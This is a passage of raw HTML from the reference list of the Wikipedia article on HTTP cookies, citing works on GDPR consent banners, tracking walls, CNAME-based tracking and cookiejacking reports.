href="https://search.worldcat.org/issn/2044-3994">2044-3994</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=International+Data+Privacy+Law&rft.atitle=Personal+data+processing+for+behavioural+targeting%3A+which+legal+basis%3F&rft.volume=5&rft.issue=3&rft.pages=163-176&rft.date=2015-08&rft_id=info%3Adoi%2F10.1093%2Fidpl%2Fipv011&rft.issn=2044-3994&rft.aulast=Zuiderveen+Borgesius&rft.aufirst=Frederik+J.&rft_id=https%3A%2F%2Fdoi.org%2F10.1093%252Fidpl%252Fipv011&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-:0-80"><span class="mw-cite-backlink">^ <a href="#cite_ref-:0_80-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-:0_80-1"><sup><i><b>b</b></i></sup></a> <a href="#cite_ref-:0_80-2"><sup><i><b>c</b></i></sup></a> <a href="#cite_ref-:0_80-3"><sup><i><b>d</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFNouwensLiccardiVealeKarger2020" class="citation book cs1">Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (21 April 2020). <a rel="nofollow" class="external text" href="https://dl.acm.org/doi/10.1145/3313831.3376321">"Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence"</a>. <i>Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems</i>. Chi '20. Honolulu HI USA: ACM. pp. 1–13. <a href="/wiki/ArXiv_(identifier)" class="mw-redirect" title="ArXiv (identifier)">arXiv</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://arxiv.org/abs/2001.02479">2001.02479</a></span>. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1145%2F3313831.3376321">10.1145/3313831.3376321</a>. <a href="/wiki/Hdl_(identifier)" class="mw-redirect" title="Hdl (identifier)">hdl</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://hdl.handle.net/1721.1%2F129999">1721.1/129999</a></span>. <a href="/wiki/ISBN_(identifier)" class="mw-redirect" title="ISBN (identifier)">ISBN</a> <a href="/wiki/Special:BookSources/978-1-4503-6708-0" title="Special:BookSources/978-1-4503-6708-0"><bdi>978-1-4503-6708-0</bdi></a>. <a href="/wiki/S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:210064317">210064317</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=bookitem&rft.atitle=Dark+Patterns+after+the+GDPR%3A+Scraping+Consent+Pop-ups+and+Demonstrating+their+Influence&rft.btitle=Proceedings+of+the+2020+CHI+Conference+on+Human+Factors+in+Computing+Systems&rft.place=Honolulu+HI+USA&rft.series=Chi+%2720&rft.pages=1-13&rft.pub=ACM&rft.date=2020-04-21&rft_id=info%3Ahdl%2F1721.1%2F129999&rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A210064317%23id-name%3DS2CID&rft_id=info%3Adoi%2F10.1145%2F3313831.3376321&rft_id=info%3Aarxiv%2F2001.02479&rft.isbn=978-1-4503-6708-0&rft.aulast=Nouwens&rft.aufirst=Midas&rft.au=Liccardi%2C+Ilaria&rft.au=Veale%2C+Michael&rft.au=Karger%2C+David&rft.au=Kagal%2C+Lalana&rft_id=https%3A%2F%2Fdl.acm.org%2Fdoi%2F10.1145%2F3313831.3376321&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-:1-81"><span class="mw-cite-backlink">^ <a href="#cite_ref-:1_81-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-:1_81-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://eur-lex.europa.eu/eli/reg/2016/679/oj">"EUR-Lex - 32016R0679 - EN - EUR-Lex"</a>. <i>eur-lex.europa.eu</i><span class="reference-accessdate">. Retrieved <span class="nowrap">6 June</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=eur-lex.europa.eu&rft.atitle=EUR-Lex+-+32016R0679+-+EN+-+EUR-Lex&rft_id=https%3A%2F%2Feur-lex.europa.eu%2Feli%2Freg%2F2016%2F679%2Foj&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-:2-82"><span class="mw-cite-backlink">^ <a href="#cite_ref-:2_82-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-:2_82-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFInformation_Commissioner's_Office2019" class="citation book cs1">Information Commissioner's Office (2019). <a rel="nofollow" class="external text" href="https://cy.ico.org.uk/media/about-the-ico/documents/2615156/adtech-real-time-bidding-report-201906-dl191220.pdf"><i>Update Report into Adtech and Real Time Bidding</i></a> <span class="cs1-format">(PDF)</span>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20210513192000/https://cy.ico.org.uk/media/about-the-ico/documents/2615156/adtech-real-time-bidding-report-201906-dl191220.pdf">Archived</a> <span class="cs1-format">(PDF)</span> from the original on 13 May 2021.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=Update+Report+into+Adtech+and+Real+Time+Bidding&rft.date=2019&rft.au=Information+Commissioner%27s+Office&rft_id=https%3A%2F%2Fcy.ico.org.uk%2Fmedia%2Fabout-the-ico%2Fdocuments%2F2615156%2Fadtech-real-time-bidding-report-201906-dl191220.pdf&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-83"><span class="mw-cite-backlink"><b><a href="#cite_ref-83">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038783337">"Délibération n° 2019-093 du 4 juillet 2019 portant adoption de lignes directrices relatives à l'application de l'article 82 de la loi du 6 janvier 1978 modifiée aux opérations de lecture ou écriture dans le terminal d'un utilisateur (notamment aux cookies et autres traceurs) (rectificatif)"</a>. <i>www.legifrance.gouv.fr</i><span class="reference-accessdate">. Retrieved <span class="nowrap">6 June</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=www.legifrance.gouv.fr&rft.atitle=D%C3%A9lib%C3%A9ration+n%C2%B0+2019-093+du+4+juillet+2019+portant+adoption+de+lignes+directrices+relatives+%C3%A0+l%27application+de+l%27article+82+de+la+loi+du+6+janvier+1978+modifi%C3%A9e+aux+op%C3%A9rations+de+lecture+ou+%C3%A9criture+dans+le+terminal+d%27un+utilisateur+%28notamment+aux+cookies+et+autres+traceurs%29+%28rectificatif%29&rft_id=https%3A%2F%2Fwww.legifrance.gouv.fr%2Fjorf%2Fid%2FJORFTEXT000038783337&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-84"><span class="mw-cite-backlink"><b><a href="#cite_ref-84">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:62017CC0040">"EUR-Lex - 62017CC0040 - EN - EUR-Lex"</a>. <i>eur-lex.europa.eu</i><span class="reference-accessdate">. Retrieved <span class="nowrap">6 June</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=eur-lex.europa.eu&rft.atitle=EUR-Lex+-+62017CC0040+-+EN+-+EUR-Lex&rft_id=https%3A%2F%2Feur-lex.europa.eu%2Flegal-content%2FEN%2FTXT%2F%3Furi%3DCELEX%3A62017CC0040&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-sKaxf-85"><span class="mw-cite-backlink"><b><a href="#cite_ref-sKaxf_85-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation magazine cs1"><a rel="nofollow" class="external text" href="https://www.wired.co.uk/news/archive/2012-05/24/eu-cookie-law-moaning">"EU cookie law: stop whining and just get on with it"</a>. <i>Wired UK</i>. 24 May 2012. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20121115110013/http://www.wired.co.uk/news/archive/2012-05/24/eu-cookie-law-moaning">Archived</a> from the original on 15 November 2012<span class="reference-accessdate">. Retrieved <span class="nowrap">31 October</span> 2012</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Wired+UK&rft.atitle=EU+cookie+law%3A+stop+whining+and+just+get+on+with+it&rft.date=2012-05-24&rft_id=https%3A%2F%2Fwww.wired.co.uk%2Fnews%2Farchive%2F2012-05%2F24%2Feu-cookie-law-moaning&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-86"><span class="mw-cite-backlink"><b><a href="#cite_ref-86">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFKampanosShahandashti2021" class="citation book cs1">Kampanos, Georgios; Shahandashti, Siamak F. (2021). "Accept All: The Landscape of Cookie Banners in Greece and the UK". <i>ICT Systems Security and Privacy Protection</i>. IFIP Advances in Information and Communication Technology. Vol. 625. Cham: Springer International Publishing. pp. 213–227. <a href="/wiki/ArXiv_(identifier)" class="mw-redirect" title="ArXiv (identifier)">arXiv</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://arxiv.org/abs/2104.05750">2104.05750</a></span>. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1007%2F978-3-030-78120-0_14">10.1007/978-3-030-78120-0_14</a>. <a href="/wiki/ISBN_(identifier)" class="mw-redirect" title="ISBN (identifier)">ISBN</a> <a href="/wiki/Special:BookSources/978-3-030-78119-4" title="Special:BookSources/978-3-030-78119-4"><bdi>978-3-030-78119-4</bdi></a>. <a href="/wiki/ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/1868-4238">1868-4238</a>. <a href="/wiki/S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:233219491">233219491</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=bookitem&rft.atitle=Accept+All%3A+The+Landscape+of+Cookie+Banners+in+Greece+and+the+UK&rft.btitle=ICT+Systems+Security+and+Privacy+Protection&rft.place=Cham&rft.series=IFIP+Advances+in+Information+and+Communication+Technology&rft.pages=213-227&rft.pub=Springer+International+Publishing&rft.date=2021&rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A233219491%23id-name%3DS2CID&rft_id=info%3Adoi%2F10.1007%2F978-3-030-78120-0_14&rft_id=info%3Aarxiv%2F2104.05750&rft.issn=1868-4238&rft.isbn=978-3-030-78119-4&rft.aulast=Kampanos&rft.aufirst=Georgios&rft.au=Shahandashti%2C+Siamak+F.&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-87"><span class="mw-cite-backlink"><b><a href="#cite_ref-87">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFSantosNouwensTothBielova2021" class="citation cs2">Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (eds.), <a rel="nofollow" class="external text" href="https://link.springer.com/10.1007/978-3-030-76663-4_3">"Consent Management Platforms Under the GDPR: Processors and/Or Controllers?"</a>, <i>Privacy Technologies and Policy</i>, Lecture Notes in Computer Science, vol. 12703, Cham: Springer International Publishing, pp. 47–69, <a href="/wiki/ArXiv_(identifier)" class="mw-redirect" title="ArXiv (identifier)">arXiv</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://arxiv.org/abs/2104.06861">2104.06861</a></span>, <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1007%2F978-3-030-76663-4_3">10.1007/978-3-030-76663-4_3</a>, <a href="/wiki/ISBN_(identifier)" class="mw-redirect" title="ISBN (identifier)">ISBN</a> <a href="/wiki/Special:BookSources/978-3-030-76662-7" title="Special:BookSources/978-3-030-76662-7"><bdi>978-3-030-76662-7</bdi></a>, <a href="/wiki/S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:233231428">233231428</a><span class="reference-accessdate">, retrieved <span class="nowrap">6 June</span> 2021</span></cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Privacy+Technologies+and+Policy&rft.atitle=Consent+Management+Platforms+Under+the+GDPR%3A+Processors+and%2FOr+Controllers%3F&rft.volume=12703&rft.pages=47-69&rft.date=2021&rft_id=info%3Aarxiv%2F2104.06861&rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A233231428%23id-name%3DS2CID&rft_id=info%3Adoi%2F10.1007%2F978-3-030-76663-4_3&rft.isbn=978-3-030-76662-7&rft.aulast=Santos&rft.aufirst=Cristiana&rft.au=Nouwens%2C+Midas&rft.au=Toth%2C+Michael&rft.au=Bielova%2C+Nataliia&rft.au=Roca%2C+Vincent&rft_id=https%3A%2F%2Flink.springer.com%2F10.1007%2F978-3-030-76663-4_3&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-88"><span class="mw-cite-backlink"><b><a href="#cite_ref-88">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.w3.org/P3P/Overview.html">"P3P: The Platform for Privacy Preferences"</a>. <i>W3C</i><span class="reference-accessdate">. Retrieved <span class="nowrap">15 October</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=W3C&rft.atitle=P3P%3A+The+Platform+for+Privacy+Preferences&rft_id=https%3A%2F%2Fwww.w3.org%2FP3P%2FOverview.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-89"><span class="mw-cite-backlink"><b><a href="#cite_ref-89">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFZuiderveen_BorgesiusKruikemeierC_BoermanHelberger2017" class="citation journal cs1">Zuiderveen Borgesius, F.J.; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017). <a rel="nofollow" class="external text" href="http://edpl.lexxion.eu/article/EDPL/2017/3/9">"Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation"</a>. <i>European Data Protection Law Review</i>. <b>3</b> (3): 353–368. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.21552%2Fedpl%2F2017%2F3%2F9">10.21552/edpl/2017/3/9</a>. <a href="/wiki/Hdl_(identifier)" class="mw-redirect" title="Hdl (identifier)">hdl</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://hdl.handle.net/11245.1%2Fdfb59b54-0544-4c65-815a-640eae10668a">11245.1/dfb59b54-0544-4c65-815a-640eae10668a</a></span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=European+Data+Protection+Law+Review&rft.atitle=Tracking+Walls%2C+Take-It-Or-Leave-It+Choices%2C+the+GDPR%2C+and+the+ePrivacy+Regulation&rft.volume=3&rft.issue=3&rft.pages=353-368&rft.date=2017&rft_id=info%3Ahdl%2F11245.1%2Fdfb59b54-0544-4c65-815a-640eae10668a&rft_id=info%3Adoi%2F10.21552%2Fedpl%2F2017%2F3%2F9&rft.aulast=Zuiderveen+Borgesius&rft.aufirst=F.J.&rft.au=Kruikemeier%2C+S.&rft.au=C+Boerman%2C+S.&rft.au=Helberger%2C+N.&rft_id=http%3A%2F%2Fedpl.lexxion.eu%2Farticle%2FEDPL%2F2017%2F3%2F9&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-90"><span class="mw-cite-backlink"><b><a href="#cite_ref-90">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://edpb.europa.eu/our-work-tools/our-documents/guidelines/guidelines-052020-consent-under-regulation-2016679_en">"Guidelines 05/2020 on consent under Regulation 2016/679 | European Data Protection Board"</a>. <i>edpb.europa.eu</i><span class="reference-accessdate">. Retrieved <span class="nowrap">6 June</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=edpb.europa.eu&rft.atitle=Guidelines+05%2F2020+on+consent+under+Regulation+2016%2F679+%7C+European+Data+Protection+Board&rft_id=https%3A%2F%2Fedpb.europa.eu%2Four-work-tools%2Four-documents%2Fguidelines%2Fguidelines-052020-consent-under-regulation-2016679_en&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-nyt-bits-91"><span class="mw-cite-backlink"><b><a href="#cite_ref-nyt-bits_91-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://bits.blogs.nytimes.com/2010/09/17/a-loophole-big-enough-for-a-cookie-to-fit-through/">"A Loophole Big Enough for a Cookie to Fit Through"</a>. <i>Bits</i>. The New York Times. 17 September 2010. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20130126032302/http://bits.blogs.nytimes.com/2010/09/17/a-loophole-big-enough-for-a-cookie-to-fit-through/">Archived</a> from the original on 26 January 2013<span class="reference-accessdate">. Retrieved <span class="nowrap">31 January</span> 2013</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Bits&rft.atitle=A+Loophole+Big+Enough+for+a+Cookie+to+Fit+Through&rft.date=2010-09-17&rft_id=http%3A%2F%2Fbits.blogs.nytimes.com%2F2010%2F09%2F17%2Fa-loophole-big-enough-for-a-cookie-to-fit-through%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-howtoblock-92"><span class="mw-cite-backlink"><b><a href="#cite_ref-howtoblock_92-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFPegoraro2005" class="citation news cs1">Pegoraro, Rob (17 July 2005). <a rel="nofollow" class="external text" href="https://www.washingtonpost.com/wp-dyn/content/article/2005/07/16/AR2005071600111.html">"How to Block Tracking Cookies"</a>. <i>Washington Post</i>. p. F07. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110427074701/http://www.washingtonpost.com/wp-dyn/content/article/2005/07/16/AR2005071600111.html">Archived</a> from the original on 27 April 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Washington+Post&rft.atitle=How+to+Block+Tracking+Cookies&rft.pages=F07&rft.date=2005-07-17&rft.aulast=Pegoraro&rft.aufirst=Rob&rft_id=https%3A%2F%2Fwww.washingtonpost.com%2Fwp-dyn%2Fcontent%2Farticle%2F2005%2F07%2F16%2FAR2005071600111.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-93"><span class="mw-cite-backlink"><b><a href="#cite_ref-93">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFClaburn" class="citation web cs1">Claburn, Thomas. <a rel="nofollow" class="external text" href="https://www.theregister.com/2021/02/24/dns_cname_tracking/">"What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses"</a>. <i>www.theregister.com</i>. San Francisco<span class="reference-accessdate">. Retrieved <span class="nowrap">6 June</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=www.theregister.com&rft.atitle=What%27s+CNAME+of+your+game%3F+This+DNS-based+tracking+defies+your+browser+privacy+defenses&rft.aulast=Claburn&rft.aufirst=Thomas&rft_id=https%3A%2F%2Fwww.theregister.com%2F2021%2F02%2F24%2Fdns_cname_tracking%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-94"><span class="mw-cite-backlink"><b><a href="#cite_ref-94">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFDimovaAcarOlejnikJoosen2021" class="citation arxiv cs1">Dimova, Yana; Acar, Gunes; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (5 March 2021). "The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion". <a href="/wiki/ArXiv_(identifier)" class="mw-redirect" title="ArXiv (identifier)">arXiv</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://arxiv.org/abs/2102.09301">2102.09301</a></span> [<a rel="nofollow" class="external text" href="https://arxiv.org/archive/cs.CR">cs.CR</a>].</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=preprint&rft.jtitle=arXiv&rft.atitle=The+CNAME+of+the+Game%3A+Large-scale+Analysis+of+DNS-based+Tracking+Evasion&rft.date=2021-03-05&rft_id=info%3Aarxiv%2F2102.09301&rft.aulast=Dimova&rft.aufirst=Yana&rft.au=Acar%2C+Gunes&rft.au=Olejnik%2C+Lukasz&rft.au=Joosen%2C+Wouter&rft.au=Van+Goethem%2C+Tom&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-certificatehack-95"><span class="mw-cite-backlink"><b><a href="#cite_ref-certificatehack_95-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFZetter2011" class="citation web cs1">Zetter, Kim (23 March 2011). <a rel="nofollow" class="external text" href="https://web.archive.org/web/20140326184859/http://www.wired.com/threatlevel/2011/03/comodo-compromise/">"Hack Obtains 9 Bogus Certificates for Prominent Websites; Traced to Iran - Threat Level - Wired.com"</a>. <i>Threat Level</i>. Archived from the original on 26 March 2014.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Threat+Level&rft.atitle=Hack+Obtains+9+Bogus+Certificates+for+Prominent+Websites%3B+Traced+to+Iran+-+Threat+Level+-+Wired.com&rft.date=2011-03-23&rft.aulast=Zetter&rft.aufirst=Kim&rft_id=http%3A%2F%2Fwww.wired.com%2Fthreatlevel%2F2011%2F03%2Fcomodo-compromise%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span><span class="cs1-maint citation-comment"><code class="cs1-code">{{<a href="/wiki/Template:Cite_web" title="Template:Cite web">cite web</a>}}</code>: CS1 maint: unfit URL (<a href="/wiki/Category:CS1_maint:_unfit_URL" title="Category:CS1 maint: unfit URL">link</a>)</span></span> </li> <li id="cite_note-finkle-96"><span class="mw-cite-backlink">^ <a href="#cite_ref-finkle_96-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-finkle_96-1"><sup><i><b>b</b></i></sup></a> <a href="#cite_ref-finkle_96-2"><sup><i><b>c</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFFinkle2011" class="citation web cs1">Finkle, Jim (25 May 2011). <a rel="nofollow" class="external text" href="https://www.reuters.com/article/microsoft-security-idUSN2517397120110525">"Microsoft latest security risk: 'Cookiejacking'<span class="cs1-kern-right"></span>"</a>. <i>Reuters</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110530020518/http://www.reuters.com/article/2011/05/25/microsoft-security-idUSN2517397120110525">Archived</a> from the original on 30 May 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">26 May</span> 2011</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Reuters&rft.atitle=Microsoft+latest+security+risk%3A+%27Cookiejacking%27&rft.date=2011-05-25&rft.aulast=Finkle&rft.aufirst=Jim&rft_id=https%3A%2F%2Fwww.reuters.com%2Farticle%2Fmicrosoft-security-idUSN2517397120110525&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-whitney-97"><span class="mw-cite-backlink"><b><a href="#cite_ref-whitney_97-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFWhitney2011" class="citation web cs1">Whitney, Lance (26 May 2011). <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110614022902/http://news.cnet.com/8301-1009_3-20066419-83.html">"Security researcher finds 'cookiejacking' risk in IE"</a>. <i>CNET</i>. Archived from <a rel="nofollow" class="external text" href="http://news.cnet.com/8301-1009_3-20066419-83.html">the original</a> on 14 June 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">6 September</span> 2019</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=CNET&rft.atitle=Security+researcher+finds+%27cookiejacking%27+risk+in+IE&rft.date=2011-05-26&rft.aulast=Whitney&rft.aufirst=Lance&rft_id=http%3A%2F%2Fnews.cnet.com%2F8301-1009_3-20066419-83.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-tBPhf-98"><span class="mw-cite-backlink"><b><a href="#cite_ref-tBPhf_98-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFFielding2000" class="citation news cs1">Fielding, Roy (2000). <a rel="nofollow" class="external text" href="http://roy.gbiv.com/pubs/dissertation/evaluation.htm">"Fielding Dissertation: CHAPTER 6: Experience and Evaluation"</a>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110427074406/http://roy.gbiv.com/pubs/dissertation/evaluation.htm">Archived</a> from the original on 27 April 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">14 October</span> 2010</span>.</cite><span 